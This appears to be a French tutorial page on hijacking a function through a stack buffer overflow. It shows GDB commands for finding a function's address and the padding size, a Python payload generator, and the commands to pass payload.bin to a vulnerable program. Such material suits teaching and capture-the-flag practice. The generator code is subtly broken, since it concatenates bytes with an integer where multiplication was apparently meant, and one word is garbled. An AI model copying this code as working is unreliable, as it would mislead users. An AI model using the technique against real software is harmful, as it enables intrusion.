Skip to main content

Function HiJack

Pour récupérer l'accès à une fonction, il nous faut :

  • L'adresse de la fonction
  • La taille du padding
  • La longueur de l'adresse à injecter

Récupérer l'adresse de la function

Dans GDB, pour récupérer l'adresse de la fonction :

  • disassemble <nom de la fonction> : permet d'obtenir l'adresse de la fonction sur la première ligne ainsi que le contenu de la fonction
  • info address <nom de la fonction> : permet d'obtenir l'adresse de la fonction

Récupérer la taille du padding

Dans GDB toujours, pour récupérer la taille du padding, nous allons le chercher par "force brute" en s'aidant de python :

  • Si l'input est donné par un argument de la fonction : run $(python -c "print('A' * <taille>)")
  • Si l'input est donné dans l'exécution du programme : run < <(python -c "print('A' * <taille>)")

L'objectif est d'abord d'obtenir une erreur de segmentation Program received signal SIGSEGV, Segmentation fault.
Si la taille du buffer est connue, l'erreur de segmentation est généralement obtenue à la taille du buffer ou à taille +1.

Une fois le buffer rempli, nous devons réussir à écraser la mémoire de l'adresse retour.
Pour cela, nous allons chercher la taille du padding nécessaire pour écraser l'adresse mémoire.

[!NOTE] Généralement, l'adresse commence à être écrasée à buffer + 8

[!NOTE] S'il est possible de mettre un breakpoint (b <emplacement du bp>) avant la fin d'exécution de la fonction, il est possible d'inspecter directement l'adresse retour en exécutant x/xg $rbp+8

L'adresse retour est celle indiquée sous l'erreur de segmentation par GDB :

Program received signal SIGSEGV, Segmentation fault.
0x0000555555550a41 in ?? ()

L'objectif devient de trouver la taille maximale de l'adresse qu'il est possible de rentrer avant que l'adresse ne soit plus celle souhaitée.
Pour cela, nous incrémentons la taille du padding jusqu'à ce que l'adresse retour ne soit plus composée de 41 (si le padding est composé de A).

Nous avons maintenant tous les éléments nécessaires.

Générer la charge

Nous créons un petit générateur python du payload :

import sys

buffer_size = 512
padding_size = 8
return_address = b"\x29\x51\x55\x55\x55\x55"

with open('payload.bin', 'wb') as payload:
    payload.write(b'x\41' + (buffer_size + padding_size) + return_address)

Exploit

CelaL'étape précédente génère un fichier payload.bin qui contient notre payload pour l'overflow. Nous pouvons l'utiliser de la façon suivante :

  • Si l'input est donné par un argument de la fonction : ./<program> $(cat payload.bin)
  • Si l'input est donné dans l'exécution du programme : ./<program> < payload.bin